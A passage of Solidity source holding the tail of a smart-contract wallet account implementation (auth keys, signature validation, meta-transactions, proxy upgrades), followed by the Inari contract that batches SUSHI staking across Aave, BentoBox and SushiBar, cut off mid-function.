auth keys /// @param _authKey Address of the auth key to remove function removeAuthKey(address _authKey) external onlyAuthKeySenderOrSelf { require(authKeys[_authKey] == true, "BA: Auth key not yet added"); require(numAuthKeys > 1, "BA: Cannot remove last auth key"); authKeys[_authKey] = false; numAuthKeys -= 1; emit AuthKeyRemoved(_authKey); } /** * Internal functions */ /// @dev Check if an auth key is valid /// @param _authKey Address of the auth key to validate /// @return True if the auth key is valid function _isValidAuthKey(address _authKey) internal view returns (bool) { return authKeys[_authKey]; } /// @dev Execute a transaction without a refund /// @notice This is the transaction sent from the CBA /// @param _destination Destination of the transaction /// @param _value Value of the transaction /// @param _gasLimit Gas limit of the transaction /// @param _data Data of the transaction /// @return Response of the call function _executeTransaction( address _destination, uint256 _value, uint256 _gasLimit, bytes memory _data ) internal returns (bytes memory) { (bool success, bytes memory res) = _destination.call.gas(_gasLimit).value(_value)(_data); // Get the revert message of the call and revert with it if the call failed if (!success) { string memory _revertMsg = _getRevertMsg(res); revert(_revertMsg); } return res; } /// @dev Get the revert message from a call /// @notice This is needed in order to get the human-readable revert message from a call /// @param _res Response of the call /// @return Revert message string function _getRevertMsg(bytes memory _res) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_res.length < 68) return 'BA: Transaction reverted silently'; bytes memory revertData = _res.slice(4, _res.length - 4); // Remove the selector which is the first 4 bytes return abi.decode(revertData, (string)); // All that remains is the revert string } } contract IERC1271 { function isValidSignature( bytes memory _messageHash, bytes memory _signature) public view returns (bytes4 magicValue); } contract ERC1271Account is IERC1271, BaseAccount { // NOTE: Valid magic value bytes4(keccak256("isValidSignature(bytes,bytes)") bytes4 constant private VALID_SIG = 0x20c13b0b; // NOTE: Invalid magic value bytes4 constant private INVALID_SIG = 0xffffffff; /** * Public functions */ /// @dev Check if a message and signature pair is valid /// @notice The _signatures parameter can either be one auth key signature or it can /// @notice be a login key signature and an auth key signature (signed login key) /// @param _msg Message that was signed /// @param _signatures Signature(s) of the data. Either a single signature (login) or two (login and auth) /// @return VALID_SIG or INVALID_SIG hex data function isValidSignature( bytes memory _msg, bytes memory _signatures ) public view returns (bytes4) { if (_signatures.length == 65) { return isValidAuthKeySignature(_msg, _signatures); } else if (_signatures.length == 130) { return isValidLoginKeySignature(_msg, _signatures); } else { revert("Invalid _signatures length"); } } /// @dev Check if a message and auth key signature pair is valid /// @param _msg Message that was signed /// @param _signature Signature of the data signed by the authkey /// @return VALID_SIG or INVALID_SIG hex data function isValidAuthKeySignature( bytes memory _msg, bytes memory _signature ) public view returns (bytes4) { address authKeyAddress = _getEthSignedMessageHash(_msg).recover( _signature ); bytes4 sig; _isValidAuthKey(authKeyAddress) ? sig = VALID_SIG : sig = INVALID_SIG; return sig; } /// @dev Check if a message and login key signature pair is valid, as well as a signed login key by an auth key /// @param _msg Message that was signed /// @param _signatures Signatures of the data. Signed msg data by the login key and signed login key by auth key /// @return VALID_SIG or INVALID_SIG hex data function isValidLoginKeySignature( bytes memory _msg, bytes memory _signatures ) public view returns (bytes4) { bytes memory msgHashSignature = _signatures.slice(0, 65); bytes memory loginKeyAttestationSignature = _signatures.slice(65, 65); address _loginKeyAddress = _getEthSignedMessageHash(_msg).recover( msgHashSignature ); // NOTE: The OpenZeppelin toEthSignedMessageHash is used here (and not above) // NOTE: because the length is hard coded at 32 and we know that this will always // NOTE: be true for this line. bytes32 loginKeyAttestationMessageHash = keccak256(abi.encodePacked( _loginKeyAddress )).toEthSignedMessageHash(); address _authKeyAddress = loginKeyAttestationMessageHash.recover( loginKeyAttestationSignature ); bytes4 sig; _isValidAuthKey(_authKeyAddress) ? sig = VALID_SIG : sig = INVALID_SIG; return sig; } /** * Internal functions */ /// @dev Adds ETH signed message prefix to bytes message and hashes it /// @param _msg Bytes message before adding the prefix /// @return Prefixed and hashed message function _getEthSignedMessageHash(bytes memory _msg) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", _uint2str(_msg.length), _msg)); } /// @dev Convert uint to string /// @param _num Uint to be converted /// @return String equivalent of the uint function _uint2str(uint _num) private pure returns (string memory _uintAsString) { if (_num == 0) { return "0"; } uint i = _num; uint j = _num; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0) { bstr[k--] = byte(uint8(48 + i % 10)); i /= 10; } return string(bstr); } } contract BaseMetaTxAccount is BaseAccount { /** * Public functions */ /// @dev Execute multiple meta transactions /// @notice This can only be called by self as a part of the atomic meta transaction /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @return the transactionMessageHash and responses of the calls function executeMultipleMetaTransactions(bytes[] memory _transactions) public onlyAuthKeySenderOrSelf returns (bytes32, bytes[] memory) { _executeMultipleMetaTransactions(_transactions); } /** * Internal functions */ /// @dev Atomically execute a meta transaction /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @param _gasPrice Gas price set by the user /// @param _gasOverhead Gas overhead of the transaction calculated offchain /// @param _feeTokenAddress Address of the token used to pay a fee /// @param _feeTokenRate Rate of the token (in tokenGasPrice/ethGasPrice) used to pay a fee /// @return The _transactionMessageHash and responses of the calls function _atomicExecuteMultipleMetaTransactions( bytes[] memory _transactions, uint256 _gasPrice, uint256 _gasOverhead, address _feeTokenAddress, uint256 _feeTokenRate ) internal returns (bytes32, bytes[] memory) { // Verify that the relayer gasPrice is acceptable require(_gasPrice <= tx.gasprice, "BMTA: Not a large enough tx.gasprice"); // Hash the parameters bytes32 _transactionMessageHash = keccak256(abi.encode( address(this), msg.sig, getChainId(), nonce, _transactions, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate )).toEthSignedMessageHash(); // Increment nonce by the number of transactions being processed // NOTE: The nonce will still increment even if batched transactions fail atomically // NOTE: The reason for this is to mimic an EOA as closely as possible nonce += _transactions.length; bytes memory _encodedTransactions = abi.encodeWithSelector( this.executeMultipleMetaTransactions.selector, _transactions ); (bool success, bytes memory res) = address(this).call(_encodedTransactions); // Check if any of the atomic transactions failed, if not, decode return data bytes[] memory _returnValues; if (!success) { string memory _revertMsg = _getRevertMsg(res); emit CallFailed(_revertMsg); } else { _returnValues = abi.decode(res, (bytes[])); } return (_transactionMessageHash, _returnValues); } /// @dev Execute a meta transaction /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @return The transactionMessageHash and responses of the calls function _executeMultipleMetaTransactions(bytes[] memory _transactions) internal returns (bytes[] memory) { // Execute transactions individually bytes[] memory _returnValues = new bytes[](_transactions.length); for(uint i = 0; i < _transactions.length; i++) { // Execute the transaction _returnValues[i] = _decodeAndExecuteTransaction(_transactions[i]); } return _returnValues; } /// @dev Decode and execute a meta transaction /// @param _transaction Transaction (destination, value, gasLimit, data) /// @return Succcess status and response of the call function _decodeAndExecuteTransaction(bytes memory _transaction) internal returns (bytes memory) { (address _destination, uint256 _value, uint256 _gasLimit, bytes memory _data) = _decodeTransactionData(_transaction); // Execute the transaction return _executeTransaction( _destination, _value, _gasLimit, _data ); } /// @dev Decode transaction data /// @param _transaction Transaction (destination, value, gasLimit, data) function _decodeTransactionData(bytes memory _transaction) internal pure returns (address, uint256, uint256, bytes memory) { return abi.decode(_transaction, (address, uint256, uint256, bytes)); } /// @dev Issue a refund /// @param _startGas Starting gas at the beginning of the transaction /// @param _gasPrice Gas price to use when sending a refund /// @param _gasOverhead Gas overhead of the transaction calculated offchain /// @param _feeTokenAddress Address of the token used to pay a fee /// @param _feeTokenRate Rate of the token (in tokenGasPrice/ethGasPrice) used to pay a fee function _issueRefund( uint256 _startGas, uint256 _gasPrice, uint256 _gasOverhead, address _feeTokenAddress, uint256 _feeTokenRate ) internal { uint256 _gasUsed = _startGas.sub(gasleft()).add(_gasOverhead); // Pay refund in ETH if _feeTokenAddress is 0. Else, pay in the token if (_feeTokenAddress == address(0)) { require(_gasUsed.mul(_gasPrice) <= address(this).balance, "BA: Insufficient gas (ETH) for refund"); // NOTE: The return value is not checked because the relayer should not propogate a transaction that will revert // NOTE: and malicious behavior by the relayer here will cost the relayer, as the fee is already calculated msg.sender.call.value(_gasUsed.mul(_gasPrice))(""); } else { IERC20 feeToken = IERC20(_feeTokenAddress); uint256 totalTokenFee = _gasUsed.mul(_feeTokenRate); require(totalTokenFee <= feeToken.balanceOf(address(this)), "BA: Insufficient gas (token) for refund"); // NOTE: The return value is not checked because the relayer should not propogate a transaction that will revert feeToken.transfer(msg.sender, totalTokenFee); } } } contract LoginKeyMetaTxAccount is BaseMetaTxAccount { /// @dev Execute an loginKey meta transaction /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @param _gasPrice Gas price set by the user /// @param _gasOverhead Gas overhead of the transaction calculated offchain /// @param _loginKeyRestrictionsData Contains restrictions to the loginKey's functionality /// @param _feeTokenAddress Address of the token used to pay a fee /// @param _feeTokenRate Rate of the token (in tokenGasPrice/ethGasPrice) used to pay a fee /// @param _transactionMessageHashSignature Signed transaction data /// @param _loginKeyAttestationSignature Signed loginKey /// @return Response of the call function executeMultipleLoginKeyMetaTransactions( bytes[] memory _transactions, uint256 _gasPrice, uint256 _gasOverhead, bytes memory _loginKeyRestrictionsData, address _feeTokenAddress, uint256 _feeTokenRate, bytes memory _transactionMessageHashSignature, bytes memory _loginKeyAttestationSignature ) public returns (bytes[] memory) { uint256 startGas = gasleft(); _validateLoginKeyRestrictions( _transactions, _loginKeyRestrictionsData ); (bytes32 _transactionMessageHash, bytes[] memory _returnValues) = _atomicExecuteMultipleMetaTransactions( _transactions, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate ); // Validate the signers _validateLoginKeyMetaTransactionSigs( _transactionMessageHash, _transactionMessageHashSignature, _loginKeyRestrictionsData, _loginKeyAttestationSignature ); // Refund gas costs _issueRefund(startGas, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate); return _returnValues; } /** * Internal functions */ /// @dev validates all loginKey Restrictions /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @param _loginKeyRestrictionsData Contains restrictions to the loginKey's functionality function _validateLoginKeyRestrictions( bytes[] memory _transactions, bytes memory _loginKeyRestrictionsData ) internal view { // Check that no calls are made to self address _destination; for(uint i = 0; i < _transactions.length; i++) { (_destination,,,) = _decodeTransactionData(_transactions[i]); require(_destination != address(this), "LKMTA: Login key is not able to call self"); } // Check _validateLoginKeyRestrictions restrictions uint256 loginKeyExpirationTime = abi.decode(_loginKeyRestrictionsData, (uint256)); // Check that loginKey is not expired require(loginKeyExpirationTime > now, "LKMTA: Login key is expired"); } /// @dev Validate signatures from an auth key meta transaction /// @param _transactionsMessageHash Ethereum signed message of the transaction /// @param _transactionMessgeHashSignature Signed transaction data /// @param _loginKeyRestrictionsData Contains restrictions to the loginKey's functionality /// @param _loginKeyAttestationSignature Signed loginKey /// @return Address of the login key that signed the data function _validateLoginKeyMetaTransactionSigs( bytes32 _transactionsMessageHash, bytes memory _transactionMessgeHashSignature, bytes memory _loginKeyRestrictionsData, bytes memory _loginKeyAttestationSignature ) internal view { address _transactionMessageSigner = _transactionsMessageHash.recover( _transactionMessgeHashSignature ); bytes32 loginKeyAttestationMessageHash = keccak256(abi.encode( _transactionMessageSigner, _loginKeyRestrictionsData )).toEthSignedMessageHash(); address _authKeyAddress = loginKeyAttestationMessageHash.recover( _loginKeyAttestationSignature ); require(_isValidAuthKey(_authKeyAddress), "LKMTA: Auth key is invalid"); } } contract AuthKeyMetaTxAccount is BaseMetaTxAccount { /// @dev Execute multiple authKey meta transactions /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @param _gasPrice Gas price set by the user /// @param _gasOverhead Gas overhead of the transaction calculated offchain /// @param _feeTokenAddress Address of the token used to pay a fee /// @param _feeTokenRate Rate of the token (in tokenGasPrice/ethGasPrice) used to pay a fee /// @param _transactionMessageHashSignature Signed transaction data function executeMultipleAuthKeyMetaTransactions( bytes[] memory _transactions, uint256 _gasPrice, uint256 _gasOverhead, address _feeTokenAddress, uint256 _feeTokenRate, bytes memory _transactionMessageHashSignature ) public returns (bytes[] memory) { uint256 _startGas = gasleft(); (bytes32 _transactionMessageHash, bytes[] memory _returnValues) = _atomicExecuteMultipleMetaTransactions( _transactions, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate ); // Validate the signer _validateAuthKeyMetaTransactionSigs( _transactionMessageHash, _transactionMessageHashSignature ); if (_shouldRefund(_transactions)) { _issueRefund(_startGas, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate); } return _returnValues; } /** * Internal functions */ /// @dev Validate signatures from an auth key meta transaction /// @param _transactionMessageHash Ethereum signed message of the transaction /// @param _transactionMessageHashSignature Signed transaction data /// @return Address of the auth key that signed the data function _validateAuthKeyMetaTransactionSigs( bytes32 _transactionMessageHash, bytes memory _transactionMessageHashSignature ) internal view { address _authKey = _transactionMessageHash.recover(_transactionMessageHashSignature); require(_isValidAuthKey(_authKey), "AKMTA: Auth key is invalid"); } /// @dev Check whether a refund should be issued /// @notice A refund should not be issued if the account is performing an Authereum-related update /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @return True if a refund should be issued function _shouldRefund(bytes[] memory _transactions) internal view returns (bool) { address _destination; for(uint i = 0; i < _transactions.length; i++) { (_destination,,,) = _decodeTransactionData(_transactions[i]); if (_destination != address(this)) return true; } return false; } } library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } contract AccountUpgradeability is BaseAccount { /// @dev Storage slot with the address of the current implementation /// @notice This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted /// @notice by 1, and is validated in the constructor bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * Public functions */ /// @dev Upgrades the proxy to the newest implementation of a contract and /// @dev forwards a function call to it /// @notice This is useful to initialize the proxied contract /// @param _newImplementation Address of the new implementation /// @param _data Array of initialize data function upgradeToAndCall( address _newImplementation, bytes memory _data ) public onlySelf { _setImplementation(_newImplementation); (bool success, bytes memory res) = _newImplementation.delegatecall(_data); // Get the revert message of the call and revert with it if the call failed string memory _revertMsg = _getRevertMsg(res); require(success, _revertMsg); emit Upgraded(_newImplementation); } /** * Internal functions */ /// @dev Sets the implementation address of the proxy /// @notice This is only meant to be called when upgrading self /// @notice The initial setImplementation for a proxy is set during /// @notice the proxy's initialization, not with this call /// @param _newImplementation Address of the new implementation function _setImplementation(address _newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(_newImplementation), "AU: Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, _newImplementation) } } } contract AuthereumAccount is BaseAccount, ERC1271Account, LoginKeyMetaTxAccount, AuthKeyMetaTxAccount, AccountUpgradeability { string constant public authereumVersion = "2019122100"; }
DC1
/// SPDX-License-Identifier: MIT /* ▄▄█ ▄ ██ █▄▄▄▄ ▄█ ██ █ █ █ █ ▄▀ ██ ██ ██ █ █▄▄█ █▀▀▌ ██ ▐█ █ █ █ █ █ █ █ ▐█ ▐ █ █ █ █ █ ▐ █ ██ █ ▀ ▀ */ /// Special thanks to Keno and Boring for reviewing early bridge patterns. pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @notice Interface for depositing into and withdrawing from SushiBar. interface ISushiBarBridge { function enter(uint256 amount) external; function leave(uint256 share) external; } /// @notice Interface for depositing into and withdrawing from Aave lending pool. interface IAaveBridge { function UNDERLYING_ASSET_ADDRESS() external view returns (address); function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; function withdraw( address token, uint256 amount, address destination ) external; } /// @notice Interface for depositing into and withdrawing from BentoBox vault. interface IBentoBridge { function registerProtocol() external; function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } /// @notice Interface for depositing into and withdrawing from Compound finance protocol. interface ICompoundBridge { function underlying() external view returns (address); function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); } /// @notice Interface for Dai Stablecoin (DAI) `permit()` primitive. interface IDaiPermit { function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/interfaces/[email protected] /// License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] /// License-Identifier: MIT library BoringERC20 { bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol() bytes4 private constant SIG_NAME = 0x06fdde03; // name() bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals() bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param from Transfer tokens from. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } // File @boringcrypto/boring-solidity/contracts/[email protected] /// License-Identifier: MIT contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi encoded then this call can fail itself. function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True then reverts after a failed call and stops doing further calls. /// @return successes An array indicating the success of a call, mapped one-to-one to `calls`. /// @return results An array with the returned data of each function call, mapped one-to-one to `calls`. // F1: External is ok here because this is the batch function, adding it to a batch makes no sense // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value // C3: The length of the loop is fully under user control, so can't be exploited // C7: Delegatecall is only used on the same contract, so it's safe function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) { successes = new bool[](calls.length); results = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); require(success || !revertOnFail, _getRevertMsg(result)); successes[i] = success; results[i] = result; } } } contract BoringBatchable is BaseBoringBatchable { /// @notice Call wrapper that performs `ERC20.permit` on `token`. /// Lookup `IERC20.permit`. // F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert) // if part of a batch this could be used to grief once as the second call would not need the permit function permitToken( IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { token.permit(from, to, amount, deadline, v, r, s); } } /// @notice Contract that batches SUSHI staking and DeFi strategies. contract Inari is BoringBatchable { using BoringERC20 for IERC20; IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI address constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // DAI token contract /// @notice Initialize this Inari contract and core SUSHI strategies. constructor() public { bento.registerProtocol(); // register this contract with BENTO sushiToken.approve(address(sushiBar), type(uint256).max); // max approve `sushiBar` spender to stake SUSHI into xSUSHI from this contract sushiToken.approve(crSushiToken, type(uint256).max); // max approve `crSushiToken` spender to stake SUSHI into crSUSHI from this contract IERC20(sushiBar).approve(address(aave), type(uint256).max); // max approve `aave` spender to stake xSUSHI into aXSUSHI from this contract IERC20(sushiBar).approve(address(bento), type(uint256).max); // max approve `bento` spender to stake xSUSHI into BENTO from this contract IERC20(sushiBar).approve(crXSushiToken, type(uint256).max); // max approve `crXSushiToken` spender to stake xSUSHI into crXSUSHI from this contract IERC20(dai).approve(address(bento), type(uint256).max); // max approve `bento` spender to pull DAI into BENTO from this contract } /// @notice Helper function to approve this contract to spend and bridge more tokens among DeFi contracts. function approveTokenBridge(IERC20[] calldata underlying, address[] calldata cToken) external { for (uint256 i = 0; i < underlying.length; i++) { underlying[i].approve(address(aave), type(uint256).max); // max approve `aave` spender to pull `underlying` from this contract underlying[i].approve(address(bento), type(uint256).max); // max approve `bento` spender to pull `underlying` from this contract underlying[i].approve(cToken[i], type(uint256).max); // max approve `cToken` spender to pull `underlying` from this contract } } /* ██ ██ ▄ ▄███▄ █ █ █ █ █ █▀ ▀ █▄▄█ █▄▄█ █ █ ██▄▄ █ █ █ █ █ █ █▄ ▄▀ █ █ █ █ ▀███▀ █ █ █▐ ▀ ▀ ▐ */ /************************** AAVE -> UNDERLYING -> BENTO **************************/ /// @notice Migrate AAVE `aToken` underlying `amount` into BENTO by batching calls to `aave` and `bento`. function aaveToBento(address aToken, uint256 amount) external { IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying` bento.deposit(IERC20(underlying), address(this), msg.sender, amount, 0); // stake `underlying` into BENTO for `msg.sender` } /// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`. function aaveToBentoTo(address aToken, address to, uint256 amount) external { IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying` bento.deposit(IERC20(underlying), address(this), to, amount, 0); // stake `underlying` into BENTO for `to` } /************************** BENTO -> UNDERLYING -> AAVE **************************/ /// @notice Migrate `underlying` `amount` from BENTO into AAVE by batching calls to `bento` and `aave`. function bentoToAave(IERC20 underlying, uint256 amount) external { bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract aave.deposit(address(underlying), amount, msg.sender, 0); // stake `underlying` into `aave` for `msg.sender` } /// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`. function bentoToAaveTo(IERC20 underlying, address to, uint256 amount) external { bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to` } /********************** SUSHI -> XSUSHI -> AAVE **********************/ /// @notice Stake SUSHI `amount` into aXSUSHI by batching calls to `sushiBar` and `aave`. function stakeSushiToAave(uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI aave.deposit(sushiBar, IERC20(sushiBar).balanceOf(address(this)), msg.sender, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `msg.sender` } /// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`. function stakeSushiToAaveTo(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI aave.deposit(sushiBar, IERC20(sushiBar).balanceOf(address(this)), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to` } /********************** AAVE -> XSUSHI -> SUSHI **********************/ /// @notice Unstake aXSUSHI `amount` into SUSHI by batching calls to `aave` and `sushiBar`. function unstakeSushiFromAave(uint256 amount) external { aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender` } /// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`. function unstakeSushiFromAaveTo(address to, uint256 amount) external { aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /* ███ ▄███▄ ▄ ▄▄▄▄▀ ████▄ █ █ █▀ ▀ █ ▀▀▀ █ █ █ █ ▀ ▄ ██▄▄ ██ █ █ █ █ █ ▄▀ █▄ ▄▀ █ █ █ █ ▀████ ███ ▀███▀ █ █ █ ▀ █ ██ */ /// @notice Helper function to `permit()` this contract to deposit `dai` into `bento`. function daiToBentoWithPermit( uint256 amount, uint256 nonce, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { IDaiPermit(dai).permit(msg.sender, address(this), nonce, deadline, true, v, r, s); // `permit()` this contract to spend `msg.sender` `dai` `amount` IERC20(dai).safeTransferFrom(msg.sender, address(this), amount); // pull `dai` `amount` into this contract bento.deposit(IERC20(dai), address(this), msg.sender, amount, 0); // stake `dai` into BENTO for `msg.sender` } /*********************** SUSHI -> XSUSHI -> BENTO ***********************/ /// @notice Stake SUSHI `amount` into BENTO xSUSHI by batching calls to `sushiBar` and `bento`. function stakeSushiToBento(uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `msg.sender` } /// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`. function stakeSushiToBentoTo(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `to` } /*********************** BENTO -> XSUSHI -> SUSHI ***********************/ /// @notice Unstake xSUSHI `amount` from BENTO into SUSHI by batching calls to `bento` and `sushiBar`. function unstakeSushiFromBento(uint256 amount) external { bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender` } /// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`. function unstakeSushiFromBentoTo(address to, uint256 amount) external { bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn 